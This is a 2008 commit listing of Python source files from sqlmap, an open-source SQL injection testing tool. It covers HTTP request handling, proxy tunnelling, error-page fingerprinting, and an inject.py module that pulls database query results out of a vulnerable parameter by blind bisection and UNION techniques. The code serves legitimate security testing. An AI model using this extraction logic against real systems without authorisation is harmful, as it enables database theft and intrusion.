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Bernardo Damele
2008-10-15 15:38:22 +00:00
commit 8e3eb45510
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lib/request/__init__.py Normal file
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#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

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lib/request/basic.py Normal file
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#!/usr/bin/env python
"""
$Id: basic.py 247 2008-07-19 23:07:26Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.html import htmlParser
def forgeHeaders(cookie, ua):
"""
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
the HTTP requests
"""
headers = {}
for header, value in conf.httpHeaders:
if cookie and header == "Cookie":
headers[header] = cookie
elif ua and header == "User-Agent":
headers[header] = ua
else:
headers[header] = value
return headers
def parsePage(page):
"""
@param page: the page to parse to feed the knowledge base htmlFp
(back-end DBMS fingerprint based upon DBMS error messages return
through the web application) list and absFilePaths (absolute file
paths) set.
@todo: in the future parse the page content scrolling an XML file to
identify the dynamic language used and, most, the absolute path,
like for DBMS error messages (ERRORS_XML), see above.
"""
if not page:
return
htmlParsed = htmlParser(page, paths.ERRORS_XML)
if htmlParsed and htmlParsed not in kb.htmlFp:
kb.htmlFp.append(htmlParsed)
# Detect injectable page absolute system path
# NOTE: this regular expression works if the remote web application
# is written in PHP and debug/error messages are enabled.
absFilePaths = re.findall(" in <b>(.*?)</b> on line", page, re.I)
for absFilePath in absFilePaths:
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)

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lib/request/connect.py Normal file
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#!/usr/bin/env python
"""
$Id: connect.py 280 2008-07-25 13:33:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import md5
import re
import urllib2
import urlparse
from lib.contrib import multipartpost
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.request.basic import forgeHeaders
from lib.request.basic import parsePage
class Connect:
"""
This class defines methods used to perform HTTP requests
"""
@staticmethod
def getPage(**kwargs):
"""
This method connects to the target url or proxy and returns
the target url page content
"""
url = kwargs.get('url', conf.url).replace(" ", "%20")
get = kwargs.get('get', None)
post = kwargs.get('post', None)
cookie = kwargs.get('cookie', None)
ua = kwargs.get('ua', None)
direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
cookieStr = ""
requestMsg = "HTTP request:\n%s " % conf.method
responseMsg = "HTTP response "
requestHeaders = ""
responseHeaders = ""
if re.search("http[s]*://%s" % conf.hostname, url, re.I):
requestMsg += "%s" % conf.path or "/"
else:
requestMsg += "%s" % urlparse.urlsplit(url)[2] or "/"
if direct:
if "?" in url:
url, params = url.split("?")
params = urlencode(params)
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
elif multipart:
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
conn = multipartOpener.open(url, multipart)
page = conn.read()
return page
elif conf.method == "GET":
if conf.parameters.has_key("GET") and not get:
get = conf.parameters["GET"]
if get:
get = urlencode(get)
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
elif conf.method == "POST":
if conf.parameters.has_key("POST") and not post:
post = conf.parameters["POST"]
post = urlencode(post)
requestMsg += " HTTP/1.1"
try:
# Perform HTTP request
headers = forgeHeaders(cookie, ua)
req = urllib2.Request(url, post, headers)
conn = urllib2.urlopen(req)
if "Accept-Encoding" not in req.headers:
requestHeaders += "\nAccept-Encoding: identity"
requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in req.header_items()])
for _, cookie in enumerate(conf.cj):
if not cookieStr:
cookieStr = "Cookie: "
cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s; " % cookie[8:index]
if "Cookie" not in req.headers and cookieStr:
requestHeaders += "\n%s" % cookieStr[:-2]
if "Connection" not in req.headers:
requestHeaders += "\nConnection: close"
requestMsg += "\n%s" % requestHeaders
if post:
requestMsg += "\n%s" % post
requestMsg += "\n"
logger.log(9, requestMsg)
# Get HTTP response
page = conn.read()
code = conn.code
status = conn.msg
responseHeaders = conn.info()
except urllib2.HTTPError, e:
if e.code == 401:
exceptionMsg = "not authorized, try to provide right HTTP "
exceptionMsg += "authentication type and valid credentials"
raise sqlmapConnectionException, exceptionMsg
else:
page = e.read()
code = e.code
status = e.msg
responseHeaders = e.info()
except urllib2.URLError, e:
warnMsg = "unable to connect to the target url"
if conf.googleDork:
warnMsg += ", skipping to next url"
logger.warn(warnMsg)
return None
else:
warnMsg += " or proxy"
raise sqlmapConnectionException, warnMsg
parsePage(page)
responseMsg += "(%s - %d):\n" % (status, code)
if conf.verbose <= 4:
responseMsg += str(responseHeaders)
elif conf.verbose > 4:
responseMsg += "%s\n%s\n" % (responseHeaders, page)
logger.log(8, responseMsg)
return page
@staticmethod
def queryPage(value=None, place=None, content=False):
"""
This method calls a function to get the target url page content
and returns its page MD5 hash or a boolean value in case of
string match check ('--string' command line parameter)
"""
get = None
post = None
cookie = None
ua = None
if not place:
place = kb.injPlace
if conf.parameters.has_key("GET"):
if place == "GET" and value:
get = value
else:
get = conf.parameters["GET"]
if conf.parameters.has_key("POST"):
if place == "POST" and value:
post = value
else:
post = conf.parameters["POST"]
if conf.parameters.has_key("Cookie"):
if place == "Cookie" and value:
cookie = value
else:
cookie = conf.parameters["Cookie"]
if conf.parameters.has_key("User-Agent"):
if place == "User-Agent" and value:
ua = value
else:
ua = conf.parameters["User-Agent"]
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
if content:
return page
elif conf.string:
if conf.string in page:
return True
else:
return False
else:
return md5.new(page).hexdigest()

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#!/usr/bin/env python
"""
$Id: inject.py 368M 2008-10-14 23:52:59Z (local) $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __getFieldsProxy(expression):
_, _, _, expressionFields = agent.getFields(expression)
expressionFieldsList = expressionFields.replace(", ", ",")
expressionFieldsList = expressionFieldsList.split(",")
return expressionFields, expressionFieldsList
def __goInference(payload, expression):
start = time.time()
if conf.sessionFile:
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
count, value = bisection(payload, expression, length=length)
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(infoMsg)
return value
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload):
outputs = []
for field in expressionFieldsList:
output = None
expressionReplaced = expression.replace(expressionFields, field, 1)
output = resume(expressionReplaced, payload)
if not output:
output = __goInference(payload, expressionReplaced)
outputs.append(output)
return outputs
def __goInferenceProxy(expression, fromUser=False):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = []
test = None
untilLimitChar = None
untilOrderChar = None
output = resume(expression, payload)
if output:
return output
if kb.dbmsDetected:
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than a field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
if limitRegExp:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
limitCond = False
else:
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n"
else:
message = "does the SQL query that you provide might "
message += "return multiple entries? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, payload)
if not stopLimit:
if not count:
count = __goInference(payload, countedExpression)
if count.isdigit() and int(count) > 0:
count = int(count)
message = "the SQL query that you provide can "
message += "return up to %d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: "
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
return "Quit"
elif test.isdigit() and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "How many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "Invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "Invalid choice"
logger.error(errMsg)
return None
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
logger.warn(warnMsg)
return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does "
warnMsg += "not return any output"
logger.warn(warnMsg)
return None
for num in xrange(startLimit, stopLimit):
limitedExpr = expression
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload)
outputs.append(output)
return outputs
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload)
returnValue = ", ".join([output for output in outputs])
else:
returnValue = __goInference(payload, expression)
return returnValue
def __goInband(expression):
"""
Retrieve the output of a SQL query taking advantage of an inband SQL
injection vulnerability on the affected parameter.
"""
counter = None
output = None
partial = False
data = []
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if condition:
output = resume(expression, None)
if not output:
partial = True
if not output:
output = unionUse(expression)
fields = expression.split(",")
counter = len(fields)
if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if conf.sessionFile and ( partial or not condition ):
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data
def getValue(expression, blind=True, inband=True, fromUser=False):
"""
Called each time sqlmap inject a SQL query on the SQL injection
affected parameter. It can call a function to retrieve the output
through inband SQL injection (if selected) and/or blind SQL injection
(if selected).
"""
expression = cleanQuery(expression)
expression = expandAsteriskForColumns(expression)
value = None
if inband and conf.unionUse and kb.dbms:
value = __goInband(expression)
if blind and not value:
value = __goInferenceProxy(expression, fromUser)
return value

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#!/usr/bin/env python
"""
$Id: proxy.py 322 2008-08-27 00:21:22Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import httplib
import socket
import urllib
import urllib2
class ProxyHTTPConnection(httplib.HTTPConnection):
_ports = {"http" : 80, "https" : 443}
def request(self, method, url, body=None, headers={}):
# Request is called before connect, so can interpret url and get
# real host/port to be used to make CONNECT request to proxy
proto, rest = urllib.splittype(url)
if proto is None:
raise ValueError, "unknown URL type: %s" % url
# Get host
host, rest = urllib.splithost(rest)
# Try to get port
host, port = urllib.splitport(host)
# If port is not defined try to get from proto
if port is None:
try:
port = self._ports[proto]
except KeyError:
raise ValueError, "unknown protocol for: %s" % url
self._real_host = host
self._real_port = int(port)
httplib.HTTPConnection.request(self, method, url, body, headers)
def connect(self):
httplib.HTTPConnection.connect(self)
# Send proxy CONNECT request
self.send("CONNECT %s:%d HTTP/1.0\r\n\r\n" % (self._real_host, self._real_port))
# Expect a HTTP/1.0 200 Connection established
response = self.response_class(self.sock, strict=self.strict, method=self._method)
(version, code, message) = response._read_status()
# Probably here we can handle auth requests...
if code != 200:
# Proxy returned and error, abort connection, and raise exception
self.close()
raise socket.error, "Proxy connection failed: %d %s" % (code, message.strip())
# Eat up header block from proxy
while True:
# Should not use directly fp probably
line = response.fp.readline()
if line == "\r\n":
break
class ProxyHTTPSConnection(ProxyHTTPConnection):
default_port = 443
def __init__(self, host, port=None, key_file=None, cert_file=None, strict=None):
ProxyHTTPConnection.__init__(self, host, port)
self.key_file = key_file
self.cert_file = cert_file
def connect(self):
ProxyHTTPConnection.connect(self)
# Make the sock ssl-aware
ssl = socket.ssl(self.sock, self.key_file, self.cert_file)
self.sock = httplib.FakeSocket(self.sock, ssl)
class ProxyHTTPHandler(urllib2.HTTPHandler):
def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy
urllib2.HTTPHandler.__init__(self, debuglevel)
def do_open(self, http_class, req):
if self.proxy is not None:
req.set_proxy(self.proxy, "http")
return urllib2.HTTPHandler.do_open(self, ProxyHTTPConnection, req)
class ProxyHTTPSHandler(urllib2.HTTPSHandler):
def __init__(self, proxy=None, debuglevel=0):
self.proxy = proxy
urllib2.HTTPSHandler.__init__(self, debuglevel)
def do_open(self, http_class, req):
if self.proxy is not None:
req.set_proxy(self.proxy, "https")
return urllib2.HTTPSHandler.do_open(self, ProxyHTTPSConnection, req)